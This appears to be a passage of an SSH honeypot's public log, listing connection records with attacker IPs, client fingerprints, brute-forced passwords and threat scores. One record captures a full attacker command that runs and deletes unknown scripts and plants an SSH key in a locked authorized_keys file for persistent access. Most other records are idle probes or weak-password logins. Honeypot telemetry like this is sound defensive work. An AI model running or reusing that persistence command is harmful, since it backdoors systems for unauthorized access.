Adversarial Observation Interface

185.107.80.93

2026-08-13 06:51:27.315749 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d20978a8d5af

Client Version: SSH-2.0-BarkScan_1.0

Engagement Duration: 0.5s

HASSH Fingerprint: 80ed13ac81995cbc726bddf8d56cf461

{
  "id": "d20978a8d5af",
  "src_ip": "185.107.80.93",
  "start_time": "2026-08-13T06:51:27.315749Z",
  "end_time": "2026-08-13T06:51:27.840866Z",
  "duration": "0.5",
  "version": "SSH-2.0-BarkScan_1.0",
  "hassh": "80ed13ac81995cbc726bddf8d56cf461",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

103.203.57.2

2026-08-13 06:48:17.082536 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 069a659c842a

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227

{
  "id": "069a659c842a",
  "src_ip": "103.203.57.2",
  "start_time": "2026-08-13T06:48:17.082536Z",
  "end_time": "2026-08-13T06:48:27.084991Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

3.86.230.159

2026-08-13 06:44:55.058281 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: acbada844513

Client Version: SSH-2.0-Go

Engagement Duration: 0.1s

HASSH Fingerprint: 9052c4ab4164c78256e71143dcfc7eac

{
  "id": "acbada844513",
  "src_ip": "3.86.230.159",
  "start_time": "2026-08-13T06:44:55.058281Z",
  "end_time": "2026-08-13T06:44:55.204163Z",
  "duration": "0.1",
  "version": "SSH-2.0-Go",
  "hassh": "9052c4ab4164c78256e71143dcfc7eac",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

75.134.75.102

2026-08-13 06:44:12.481635 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d908ed1519c9

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "d908ed1519c9",
  "src_ip": "75.134.75.102",
  "start_time": "2026-08-13T06:44:12.481635Z",
  "end_time": "2026-08-13T06:44:12.484943Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

191.82.254.58

2026-08-13 06:43:30.401278 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3bf14461c6a0

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "3bf14461c6a0",
  "src_ip": "191.82.254.58",
  "start_time": "2026-08-13T06:43:30.401278Z",
  "end_time": "2026-08-13T06:43:30.404416Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

75.134.75.102

2026-08-13 06:43:05.647094 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 18b1710ea61e

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "18b1710ea61e",
  "src_ip": "75.134.75.102",
  "start_time": "2026-08-13T06:43:05.647094Z",
  "end_time": "2026-08-13T06:43:05.650084Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

92.118.39.71

2026-08-13 06:43:02.348432 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1956b81a4d46

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "1956b81a4d46",
  "src_ip": "92.118.39.71",
  "start_time": "2026-08-13T06:43:02.348432Z",
  "end_time": "2026-08-13T06:43:02.515790Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-08-13 06:43:00.788871 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 04081980

Record ID: 7278ef1798d8

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "7278ef1798d8",
  "src_ip": "2.57.121.25",
  "start_time": "2026-08-13T06:43:00.788871Z",
  "end_time": "2026-08-13T06:43:06.810345Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "04081980"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

209.99.188.69

2026-08-13 06:34:56.054898 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4a0e0dca8fa9

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "4a0e0dca8fa9",
  "src_ip": "209.99.188.69",
  "start_time": "2026-08-13T06:34:56.054898Z",
  "end_time": "2026-08-13T06:34:56.283051Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

91.106.60.242

2026-08-13 06:34:04.219983 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4979d21ae012

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "4979d21ae012",
  "src_ip": "91.106.60.242",
  "start_time": "2026-08-13T06:34:04.219983Z",
  "end_time": "2026-08-13T06:36:04.280148Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

190.82.51.75

2026-08-13 06:27:59.374685 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dc63f6118927

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "dc63f6118927",
  "src_ip": "190.82.51.75",
  "start_time": "2026-08-13T06:27:59.374685Z",
  "end_time": "2026-08-13T06:27:59.378043Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

186.122.2.18

2026-08-13 06:26:13.319902 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dffaf1c7e812

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "dffaf1c7e812",
  "src_ip": "186.122.2.18",
  "start_time": "2026-08-13T06:26:13.319902Z",
  "end_time": "2026-08-13T06:26:13.323168Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

160.223.188.228

2026-08-13 06:18:20.504475 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4db42c57ffd4

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4db42c57ffd4",
  "src_ip": "160.223.188.228",
  "start_time": "2026-08-13T06:18:20.504475Z",
  "end_time": "2026-08-13T06:18:20.508148Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

66.116.242.211

2026-08-13 06:13:51.756941 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / gordon1@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: b15bd7e6ffb6

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "b15bd7e6ffb6",
  "src_ip": "66.116.242.211",
  "start_time": "2026-08-13T06:13:51.756941Z",
  "end_time": "2026-08-13T06:13:53.673691Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "gordon1@"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

195.178.110.137

2026-08-13 06:12:30.709791 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 115789d520b2

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba

{
  "id": "115789d520b2",
  "src_ip": "195.178.110.137",
  "start_time": "2026-08-13T06:12:30.709791Z",
  "end_time": "2026-08-13T06:12:31.827276Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "bf7dbf67fa9b26ee9f9deb99c49320ba",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

178.193.145.8

2026-08-13 06:03:06.661911 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ab6d414dded6

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "ab6d414dded6",
  "src_ip": "178.193.145.8",
  "start_time": "2026-08-13T06:03:06.661911Z",
  "end_time": "2026-08-13T06:03:06.665241Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

178.193.145.8

2026-08-13 06:02:36.314449 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e2f7244100d2

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "e2f7244100d2",
  "src_ip": "178.193.145.8",
  "start_time": "2026-08-13T06:02:36.314449Z",
  "end_time": "2026-08-13T06:02:36.317825Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

160.223.188.228

2026-08-13 06:01:44.369846 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1d067eb8005f

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "1d067eb8005f",
  "src_ip": "160.223.188.228",
  "start_time": "2026-08-13T06:01:44.369846Z",
  "end_time": "2026-08-13T06:01:44.373183Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

195.178.110.137

2026-08-13 05:55:07.656623 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cc4d1bd16110

Client Version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6

Engagement Duration: 0.3s

{
  "id": "cc4d1bd16110",
  "src_ip": "195.178.110.137",
  "start_time": "2026-08-13T05:55:07.656623Z",
  "end_time": "2026-08-13T05:55:07.972996Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.46.255.86

2026-08-13 05:54:33.001633 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / abc123

Record ID: 660020e3d775

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "660020e3d775",
  "src_ip": "193.46.255.86",
  "start_time": "2026-08-13T05:54:33.001633Z",
  "end_time": "2026-08-13T05:54:39.041918Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "abc123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.122.238

2026-08-13 05:47:41.162503 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 41de3bbcd61e

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "41de3bbcd61e",
  "src_ip": "2.57.122.238",
  "start_time": "2026-08-13T05:47:41.162503Z",
  "end_time": "2026-08-13T05:47:41.328300Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-08-13 05:41:43.505255 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: rian

Record ID: 80dc37166c83

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "80dc37166c83",
  "src_ip": "2.57.121.112",
  "start_time": "2026-08-13T05:41:43.505255Z",
  "end_time": "2026-08-13T05:41:50.023297Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "rian",
      "pass": "rian"
    },
    {
      "user": "rian",
      "pass": "rian1"
    },
    {
      "user": "rian",
      "pass": "rian123"
    },
    {
      "user": "rian",
      "pass": "rian1234"
    },
    {
      "user": "rian",
      "pass": "rian12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-08-13 05:41:41.631711 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 04091983

Record ID: 74a1558514b6

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "74a1558514b6",
  "src_ip": "2.57.121.25",
  "start_time": "2026-08-13T05:41:41.631711Z",
  "end_time": "2026-08-13T05:41:47.681266Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "04091983"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

77.90.185.20

2026-08-13 05:25:10.190951 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE DATA THEFT SCORE: 150

Credential acceptance event recorded. Target authentication: root / 1q1q1q

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"

Record ID: c8119f2c6504

Client Version: SSH-2.0-Go

Engagement Duration: 48.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c8119f2c6504",
  "src_ip": "77.90.185.20",
  "start_time": "2026-08-13T05:25:10.190951Z",
  "end_time": "2026-08-13T05:25:58.538389Z",
  "duration": "48.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1q1q1q"
  },
  "commands": [
    "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\""
  ],
  "detailed_commands": [
    {
      "cmd": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 150,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "DATA THEFT"
  ]
}

77.90.185.20

2026-08-13 05:24:48.046185 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 1q1q1q

Record ID: 59b1af8e7245

Client Version: SSH-2.0-Go

Engagement Duration: 22.0s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "59b1af8e7245",
  "src_ip": "77.90.185.20",
  "start_time": "2026-08-13T05:24:48.046185Z",
  "end_time": "2026-08-13T05:25:10.027055Z",
  "duration": "22.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1q1q1q"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

148.227.121.206

2026-08-13 05:10:01.873940 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 13875609f03f

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "13875609f03f",
  "src_ip": "148.227.121.206",
  "start_time": "2026-08-13T05:10:01.873940Z",
  "end_time": "2026-08-13T05:10:01.889979Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

76.140.141.181

2026-08-13 04:58:22.341198 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 06bfccf467d9

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "06bfccf467d9",
  "src_ip": "76.140.141.181",
  "start_time": "2026-08-13T04:58:22.341198Z",
  "end_time": "2026-08-13T04:58:22.344946Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

46.22.232.183

2026-08-13 04:58:06.973686 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5c31e5e8b321

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "5c31e5e8b321",
  "src_ip": "46.22.232.183",
  "start_time": "2026-08-13T04:58:06.973686Z",
  "end_time": "2026-08-13T04:58:06.978615Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

46.22.232.200

2026-08-13 04:57:54.111530 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d89660b9a73b

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "d89660b9a73b",
  "src_ip": "46.22.232.200",
  "start_time": "2026-08-13T04:57:54.111530Z",
  "end_time": "2026-08-13T04:57:54.114859Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

76.140.141.181

2026-08-13 04:56:41.279342 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 97aafeb1d282

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "97aafeb1d282",
  "src_ip": "76.140.141.181",
  "start_time": "2026-08-13T04:56:41.279342Z",
  "end_time": "2026-08-13T04:56:41.282726Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-08-13 04:55:41.842088 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: d7268ab47b4f

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "d7268ab47b4f",
  "src_ip": "176.53.159.196",
  "start_time": "2026-08-13T04:55:41.842088Z",
  "end_time": "2026-08-13T04:55:43.022928Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

147.182.228.88

2026-08-13 04:47:49.292456 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 004a5b3f6318

Client Version: GET /favicon.ico HTTP/1.1

Engagement Duration: 0.0s

{
  "id": "004a5b3f6318",
  "src_ip": "147.182.228.88",
  "start_time": "2026-08-13T04:47:49.292456Z",
  "end_time": "2026-08-13T04:47:49.298152Z",
  "duration": "0.0",
  "version": "GET /favicon.ico HTTP/1.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

147.182.228.88

2026-08-13 04:47:49.241331 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8c0d80dccdb8

Client Version: GET / HTTP/1.1

Engagement Duration: 0.0s

{
  "id": "8c0d80dccdb8",
  "src_ip": "147.182.228.88",
  "start_time": "2026-08-13T04:47:49.241331Z",
  "end_time": "2026-08-13T04:47:49.247598Z",
  "duration": "0.0",
  "version": "GET / HTTP/1.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-08-13 04:42:43.795503 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: d8faebb59b39

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "d8faebb59b39",
  "src_ip": "176.53.159.196",
  "start_time": "2026-08-13T04:42:43.795503Z",
  "end_time": "2026-08-13T04:42:44.970836Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

65.49.1.182

2026-08-13 04:41:09.016239 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cc9a346856b3

Client Version: GET / HTTP/1.1

Engagement Duration: 0.0s

{
  "id": "cc9a346856b3",
  "src_ip": "65.49.1.182",
  "start_time": "2026-08-13T04:41:09.016239Z",
  "end_time": "2026-08-13T04:41:09.022217Z",
  "duration": "0.0",
  "version": "GET / HTTP/1.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-08-13 04:40:09.974849 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 05011979

Record ID: 10b9e205b97f

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "10b9e205b97f",
  "src_ip": "2.57.121.25",
  "start_time": "2026-08-13T04:40:09.974849Z",
  "end_time": "2026-08-13T04:40:15.983722Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "05011979"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-08-13 04:38:49.867044 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (3 distinct queries). Vector identities: default

Record ID: fd5a3da4fac3

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 4.2s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "fd5a3da4fac3",
  "src_ip": "193.46.255.86",
  "start_time": "2026-08-13T04:38:49.867044Z",
  "end_time": "2026-08-13T04:38:54.076591Z",
  "duration": "4.2",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "default",
      "pass": "1"
    },
    {
      "user": "default",
      "pass": "default"
    },
    {
      "user": "default",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

181.28.211.146

2026-08-13 04:38:29.188120 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 94c56aef7322

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "94c56aef7322",
